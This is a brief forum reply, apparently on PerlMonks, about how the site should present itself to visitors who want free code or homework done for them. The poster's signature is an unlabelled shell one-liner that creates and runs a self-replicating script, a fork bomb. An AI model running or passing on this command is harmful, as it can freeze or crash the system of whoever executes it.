in reply to PerlMonks is not a place to go for free code

It's better to say who we are then who we are not, to our visitors.

There will always be those who want a free lunch and/or their homework done for them. We'll keep doing the same thing with them, too: Politely correcting, laughing, then ignoring.

ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;